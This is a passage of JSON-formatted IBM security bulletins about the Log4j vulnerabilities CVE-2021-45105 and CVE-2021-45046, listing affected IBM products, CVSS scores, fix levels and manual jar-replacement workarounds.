8.1.0.000-8.1.13.100 \n7.1.0.000-7.1.14.100 \n \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing this vulnerability now by upgrading to the fixed level instead of using the manual process described under Workarounds and Mitigations section.**\n\n**Note: The below fix packages include Log4j 2.17.**\n\n**_IBM Spectrum Protect Operations Center Affected Versions \n_**| **_Fixing \nLevel_**| **_Platform_**| **_Link to Fix and Instructions \n_** \n---|---|---|--- \n \n8.1.0.000-8.1.13.100| \n8.1.13.200| AIX \nLinux \nWindows| \n<https://www.ibm.com/support/pages/node/6527288> \n \n7.1.0.000-7.1.14.100\n\n| 7.1.14.200| AIX \nLinux \nWindows| <https://www.ibm.com/support/pages/node/6527284> \n \n## Workarounds and Mitigations\n\n**Manual Procedure to Update the Help system**\n\nThe Help system shipped along with the Operations Center includes the affected log4j versions. To manually update the Help system: \n\n\n1\\. Download the following from Apache:\n\nApache Log4j 2 binary(zip) apache-log4j-2.17.0-bin.zip\n\n<https://logging.apache.org/log4j/2.0/download.html>\n\n2\\. Stop the Operations Center service (which also stops the Help system)\n\nAIX - /opt/tivoli/tsm/ui/utils/stopserver.sh\n\nLinux -\n\n8.1.9 and Lower (including v7) - service opscenter.rc stop\n\n8.1.10 and higher - systemctl stop opscenter.service\n\nWindows - From the Services window, stop the IBM Spectrum\u00ae Protect Operations Center service.\n\n3\\. Unzip the apache-log4j-2.17.0-bin.zip\n\n4\\. From the unzipped directory apache-log4j-2.17.0-bin copy the log4j2.17 jars and remove the earlier ones\n\n5\\. From\n\nAIX and Linux - /opt/tivoli/tsm/ui/Liberty/usr/servers/guiServer/apps/TSM_HELP.war/WEB-INF/lib/\n\nWindows - c:\\Program Files\\Tivoli\\TSM\\\\\\ui\\Liberty\\usr\\servers\\guiServer\\apps/TSM_HELP.war/WEB-INF/lib\\\n\nReplace:\n\nlog4j-api-2.8.2.jar\n\nlog4j-1.2-api-2.8.2.jar\n\nlog4j-core-2.8.2.jar\n\nlog4j-slf4j-impl-2.8.2.jar\n\nwith\n\nlog4j-api-2.17.0.jar\n\nlog4j-1.2-api-2.17.0.jar\n\nlog4j-core-2.17.0.jar\n\nlog4j-slf4j-impl-2.17.0.jar\n\n6\\. Restart OC service\n\nAIX - /opt/tivoli/tsm/ui/utils/startserver.sh\n\nLinux -\n\n8.1.9 and Lower (including v7) - service opscenter.rc start\n\n8.1.10 and higher - systemctl start opscenter.service\n\nWindows - From the Services window, start the IBM Spectrum\u00ae Protect Operations Center service.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-27T17:59:18", "type": "ibm", "title": "Security Bulletin: Vulnerabilities in Apache Log4j affect IBM Spectrum Protect Operations Center (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-27T17:59:18", "id": "342C70DE6943237DCB4E2BCA66A117A8AC4A929DA3631A2BB88E27D99C1A1F68", "href": "https://www.ibm.com/support/pages/node/6537240", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:48", "description": "## Summary\n\nThere is a vulnerability in the Apache Log4j open source library. The library is used by IBM Event Streams.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Event Streams| 2019.4.1, 2019.4.2, 2019.4.3, 2019.4.4, 2019.4.5 \nIBM Event Streams| 10.0.0, 10.1.0, 10.2.0, 10.3.0, 10.3.1, 10.4.0 \n \n## Remediation/Fixes\n\n#### IBM Event Streams (Helm-based releases)\n\n * Download the 2019.4.6 release from [IBM Fix Central](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/IBM+Event+Streams&release=2019.4.1&platform=All&function=fixId&fixids=*IBM-Event-Streams*> \"IBM Fix Central\" ).\n * Upgrade to IBM Event Streams 2019.4.6 by following the [upgrading and migrating](<https://ibm.github.io/event-streams/2019.4/installing/upgrading/> \"upgrading and migrating\" ) documentation.\n\n**IBM Event Streams (Continuous Delivery)**\n\n * Upgrade to IBM Event Streams 10.5.0 by following the [upgrading and migrating](<https://ibm.github.io/event-streams/installing/upgrading/> \"\" ) documentation.\n\n**IBM Event Streams (Extended Update Support)**\n\n * Upgrade to IBM Event Streams 10.2.1 by following the [upgrading and migrating](<https://ibm.github.io/event-streams/10.2/installing/upgrading/> \"\" ) documentation.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-24T15:57:25", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Log4j affects IBM Event Streams (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-24T15:57:25", "id": "3E89F6F868ACED4017A55BB54A40658D10E6704003F50ACBCE289C1637B41045", "href": "https://www.ibm.com/support/pages/node/6536920", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:32", "description": "## Summary\n\nThere are multiple Apache Log4j (CVE-2021-45105, CVE-2021-45046) vulnerabilities impacting IBM Watson Studio Premium Add On in Cloud Pak for Data which uses Apache Log4j for logging. The fix includes Apache Log4j 2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \n \nIBM Watson Studio Premium Add On in Cloud Pak for Data\n\n| 4.0.4 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now **\n\n**Affected Product(s)**\n\n| **Version(s)**| **Fixes** \n---|---|--- \nIBM Watson Studio Premium Add On in Cloud Pak for Data| 4.0.4| \n\nGet the latest refresh by upgrading to [4.0.5](<https://www.ibm.com/docs/en/cloud-paks/cp-data/4.0?topic=planning-operator-operand-versions#versions__cpd-platform> \"4.0.5\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-27T02:01:54", "type": "ibm", "title": "Security Bulletin: IBM Watson Studio Premium Add On in Cloud Pak for Data is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-27T02:01:54", "id": "5FAA10ECBDD6BDD67568DC782206BEA34BD7120E44FD8D30001A968A438E5C77", "href": "https://www.ibm.com/support/pages/node/6551312", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:37", "description": "## Summary\n\nIBM Sterling Secure Proxy is vulnerable to denial of service and arbitrary code execution due to Apache Log4j, which is used for logging (CVE-2021-45105,CVE-2021-45046). The fix includes Apache Log4j 2.17.0.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Sterling Secure Proxy| 3.4.3.2 \nIBM Sterling Secure Proxy| 6.0.2 \nIBM Sterling Secure Proxy| 6.0.3 \n \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now.**\n\nSee the Fix Central links below for Apache Log4j 2.17.0 jar files and installation instructions for an immediate remediation of the vulnerabilities prior to full iFixes for the associated releases. \n\n**Product**| **VRMF**| **Remediation** \n---|---|--- \nIBM Sterling Secure Proxy| 6.0.3| [Fix Central - 6030](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Secure+Proxy&release=6.0.3.0&platform=All&function=all> \"Fix Central - 6030\" ) \nIBM Sterling Secure Proxy| 6.0.2| [Fix Central - 6030](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Secure+Proxy&release=6.0.3.0&platform=All&function=all> \"Fix Central - 6030\" ) \nIBM Sterling Secure Proxy| 3.4.3.2| [Fix Central - 6030](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Secure+Proxy&release=6.0.3.0&platform=All&function=all> \"Fix Central - 6030\" ) \n \nThe [Fix Central - 6030](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Secure+Proxy&release=6.0.3.0&platform=All&function=all> \"Fix Central - 6030\" ) link points to a fix called SSP-SEAS-log4j-2.17.0-jars-for-CVE-2021-45105 which supplies the jars and instructions to replace them. This fix remediates CVE-2021-44228, CVE-2021-45046 and CVE-2021-45105.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-04T16:02:00", "type": "ibm", "title": "Security Bulletin: Multiple vulnerabilities in Apache Log4j impact IBM Sterling Secure Proxy (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-04T16:02:00", "id": "1C6CC8129E7AEC5C314CCFD7570FC09548438820946E9774FD2E2410C0897958", "href": "https://www.ibm.com/support/pages/node/6538100", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:56:48", "description": "## Summary\n\nApache Log4j has vulnerabilities that affect IBM Sterling B2B Integrator. Final remediation images published below. As an alternative to the final remediation images, manual mitigation steps are also provided below.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Sterling B2B Integrator| 6.0.0.0 - 6.1.1.0 \n \nNote that remote perimeter server, CLA2, OpsServer and external purge has been assessed for impact and were found to be not affected.\n\nDue to concern surrounding Apache Log4j CVE-2021-45046 and CVE-2021-45105, end-of-support stream IBM Sterling B2B Integrator Version 5.2.x has been assessed for impact the versions and fix packs below were found to be not affected by CVE-2021-45046 and CVE-2021-45105: \n5020605_3 and all lower fix packs \n5020604 and all fix packs \n5020603 and all fix packs \n5020602 and all fix packs \n5020601 and all fix packs \n5020600 and all fix packs \n5020500 and all fix packs \n5020402 and all fix packs\n\n## Remediation/Fixes\n\nProduct & Version| Remediation & Fix \n---|--- \nIBM Sterling B2B Integrator 6.0.0.0 - 6.1.1.0| \n\n**_IIM_**\n\nStep 1: Apply IBM Sterling B2B Integrator IIM version 6.0.0.7, 6.0.3.5, 6.1.0.4, 6.1.1.0, 6.0.2.3 or 6.0.1.2 \n\nStep 2: Apply the remediating ifix 6.0.0.7_1, 6.0.3.5_1, 6.1.0.4_1 , 6.1.1.0_1, 6.0.2.3._1 or 6.0.1.2_1 that are located on [Fix Central](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~Other%2Bsoftware&product=ibm/Other+software/Sterling+B2B+Integrator&release=All&platform=All&function=all>).\n\nAlso for 6.1.1.0 after applying the remediating ifix 6.1.1.0_1, additionally follow the steps in this [technote.](<https://www.ibm.com/support/pages/node/6551444> \"technote\" )\n\n**_Docker & Containers_**\n\nStep 1: Apply either IBM Sterling B2B Integrator Docker version 6.0.0.7, 6.0.3.5 or 6.1.0.4, \n\nStep 2: Next apply one of the remediating ifixes below:\n\nIBM Sterling B2B Integrator Docker version 6.0.0.7_1 on [Fix Central](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~Other%2Bsoftware&product=ibm/Other+software/Sterling+B2B+Integrator&release=All&platform=All&function=all>)\n\nIBM Sterling B2B Integrator Docker version 6.0.3.5_1 on [Fix Central](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+B2B+Integrator&fixids=6.0.3.5-OtherSoftware-B2Bi-Docker-All-IF0001&source=SAR>)\n\nIBM Sterling B2B Integrator Container version 6.1.0.4_1\n\n * [Certified Container Image](<cp.icr.io/cp/ibm-b2bi/b2bi:6.1.0.4_1> \"Certified Container Image\" )\n * [Helm Chart](<https://github.com/IBM/charts/blob/master/repo/ibm-helm/ibm-b2bi-prod-2.0.5.tgz> \"Helm Chart\" ) \n \n## Workarounds and Mitigations\n\n**If you are unable to apply the remediated fix packs above, as an alternative IBM strongly recommends addressing the vulnerability by applying one of these mandatory remediation steps below now. **\n\n**Before applying any of the Workarounds and Mitigations below ensure that the file system of IBM Sterling B2B Integrator has been fully backed up.**\n\n**Linux: ** The following script can be applied to **Linux** B2Bi ASI node and Adapter Container nodes. Please ensure to read the included readme file before applying.\n\n[`http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+B2B+Integrator&fixids=B2Bi-rhel-log4j-remediation&source=SAR`](<https://urldefense.com/v3/__http:/www.ibm.com/support/fixcentral/quickorder?product=ibm*2FOther*software*2FSterling*B2B*Integrator&fixids=B2Bi-rhel-log4j-remediation&source=SAR__;JSslKys!!I6-MEfEZPA!eWYwlqriN-0XFGfQDbcUIDbKwx1QTpU_oCC9q9d8EMVMPkNXi37hTGqsbPYUGfFTnVdp0Q$>) \n\n\n**AIX**: The following script can be applied to **AIX** B2Bi ASI node and Adapter Container nodes. Please ensure to read the included readme file before applying.\n\n[`http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+B2B+Integrator&fixids=B2Bi-aix-log4j-remediation&source=SAR`](<https://urldefense.com/v3/__http:/www.ibm.com/support/fixcentral/quickorder?product=ibm*2FOther*software*2FSterling*B2B*Integrator&fixids=B2Bi-aix-log4j-remediation&source=SAR__;JSslKys!!I6-MEfEZPA!bcZjVMMicPAaQ9c71mSnBWEX8b1NEyFcdfntlAaHB1rftTMSVAtbUysoDT_d0sn0Mimx1Q$>)\n\n**Docker Container or OCP**: The following document with steps can be manually applied to **Docker Container or OCP** B2Bi ASI node and Adapter Container nodes: \n\n[`http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+B2B+Integrator&fixids=B2Bi-Docker-and-OCP-log4j-remediation&source=SAR`](<https://urldefense.com/v3/__http:/www.ibm.com/support/fixcentral/quickorder?product=ibm*2FOther*software*2FSterling*B2B*Integrator&fixids=B2Bi-Docker-and-OCP-log4j-remediation&source=SAR__;JSslKys!!I6-MEfEZPA!c94_YkFcF1M9ywRiF_61mK9mSfXF5FFY-lRHlEo2qVqdmb-ywEmpfj5hPhLkFuccMx7w8Q$>) \n \n\n\n**Windows: **The following document with steps can be manually applied to **Windows** B2Bi ASI node and Adapter Container nodes: \n\n[`http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+B2B+Integrator&fixids=B2Bi-windows-log4j-remediation&source=SAR`](<https://urldefense.com/v3/__http:/www.ibm.com/support/fixcentral/quickorder?product=ibm*2FOther*software*2FSterling*B2B*Integrator&fixids=B2Bi-windows-log4j-remediation&source=SAR__;JSslKys!!I6-MEfEZPA!Yanxte2R4h-EsVIYkKcQJv0i5mi2QTHWu86BAyOoPPPgXgLCzga6SGT4eCvBtG-AoQ2XNQ$>)\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-18T17:29:35", "type": "ibm", "title": "Security Bulletin: Apache Log4j Vulnerability Affects IBM Sterling B2B Integrator (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-02-18T17:29:35", "id": "BB96DF8C4863ECA5111B83DE1E5DBA4C67AC8E6999013404D8DD87C98CC7B60D", "href": "https://www.ibm.com/support/pages/node/6537664", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:55", "description": "## Summary\n\nApache Log4j is used by IBM Security Access Manager for Enterprise Single Sign-On as part of its logging infrastructure. IBM Security Access Manager for Enterprise Single Sign-On is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046). The fix includes Apache Log4j v.2.17.1.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Security Access Manager for Enterprise Single-Sign On| 8.2.2 \n \n\n\n## Remediation/Fixes\n\nIBM strongly recommends addressing the vulnerability now by upgrading \n\nApply Fix Pack 12 on IBM Security Access Manager for Enterprise Single-Sign On version 8.2.2 as per the details available [here](<https://www.ibm.com/support/pages/node/6539792> \"here\" ). \n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-15T07:49:05", "type": "ibm", "title": "Security Bulletin: IBM Security Access Manager for Enterprise Single Sign-On is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-15T07:49:05", "id": "DC086AC7F5679D9F84A3DA8B91FAB9C0F09EF5EFB4C8687216156974F51B6283", 